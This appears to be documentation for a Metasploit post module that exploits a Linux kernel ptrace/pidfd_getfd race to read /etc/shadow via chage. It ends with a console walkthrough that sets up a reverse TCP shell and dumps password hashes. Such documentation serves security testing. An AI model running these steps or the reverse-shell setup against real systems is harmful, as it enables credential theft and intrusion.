## Vulnerable Application

CVE-2026-46333 is a race condition vulnerability in the Linux kernel's
`__ptrace_may_access()` logic during process teardown.

During `do_exit()`, the kernel calls `exit_mm()` before `exit_files()`,
causing `task->mm` to become `NULL` while privileged file descriptors
remain open temporarily. During this window, an unprivileged local user
may use the `pidfd_getfd(2)` syscall to duplicate otherwise inaccessible
file descriptors from exiting privileged processes.

This module targets `/usr/bin/chage`, which executes with elevated
permissions allowing access to `/etc/shadow`. By racing the teardown
window repeatedly, the module attempts to duplicate the privileged file
descriptor and disclose the contents of `/etc/shadow`.

The vulnerability affects Linux kernels starting from 5.6 where
`pidfd_getfd()` was introduced. Module reliability depends heavily on
kernel timing, scheduler behavior, and local system mitigations.

This module performs information disclosure only and does not create a
new privileged session.

## Verification Steps

1. Obtain a shell or meterpreter session on a vulnerable Linux host
2. `use post/linux/gather/cve_2026_46333_chage`
3. `set SESSION <session_id>`
4. Optionally set `RACE_ROUNDS`
5. Run `run`
6. Verify `/etc/shadow` contents are disclosed
7. Verify loot is stored successfully

## Options

### RACE_ROUNDS

Number of race attempts performed by the module. Larger values increase
the likelihood of successful disclosure at the cost of additional
runtime and process spawning.

### WRITABLE_DIR

Writable directory used for temporary exploit source and compiled binary
storage.

## Scenarios

### Debian 13 x64

```text
msf > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp

msf exploit(multi/handler) > set payload linux/x64/shell_reverse_tcp
payload => linux/x64/shell_reverse_tcp

msf exploit(multi/handler) > set LHOST 192.168.72.141
LHOST => 192.168.72.141

msf exploit(multi/handler) > set LPORT 4444
LPORT => 4444

msf exploit(multi/handler) > run
[*] Started reverse TCP handler on 192.168.72.141:4444

[*] Command shell session 1 opened (192.168.72.141:4444 -> 192.168.72.141:60078) at 2026-05-17 17:19:49 +0530

Shell Banner:
_]0;bhaskar@debian: /home/debian/metasploit-framework_[01;32mbhaskar@debian_[00m:_[01;34m/home/debian/metasploit-framework_[00m$

bhaskar@debian:/home/debian/metasploit-framework$ ^Z
Background session 1? [y/N] y

msf exploit(multi/handler) > use post/linux/gather/cve_2026_46333_chage

msf post(linux/gather/cve_2026_46333_chage) > set SESSION 1
SESSION => 1

msf post(linux/gather/cve_2026_46333_chage) > set RACE_ROUNDS 1000
RACE_ROUNDS => 1000

msf post(linux/gather/cve_2026_46333_chage) > run

[*] Writing exploit source to /tmp/.LSKNWh.c
[*] Compiling exploit payload
[*] Launching race with 1000 attempts
[+] Successfully disclosed /etc/shadow
[+] Loot stored at: /home/bhaskar/.msf4/loot/20260517172056_default_192.168.72.141_linux.shadow_239650.txt

[+] Stole fd 6 -> /etc/shadow

root:$y$j9T$UEPlLHui3A5Km/fMb/yhX1$zgcOcXZrTG6h6fKLFEk4p97N3ICr2tUeSaoi3UkGSS7:20515:0:99999:7:::
daemon:*:20515:0:99999:7:::
...
bhaskar:$y$j9T$TtQUyw/p3LVb.OT4BGJDS1$sAmDxxKymO5NLWi0OoGUhZktUGQm4Vx594LAKs8DNW0:20515:0:99999:7:::
...

[*] Post module execution completed
```
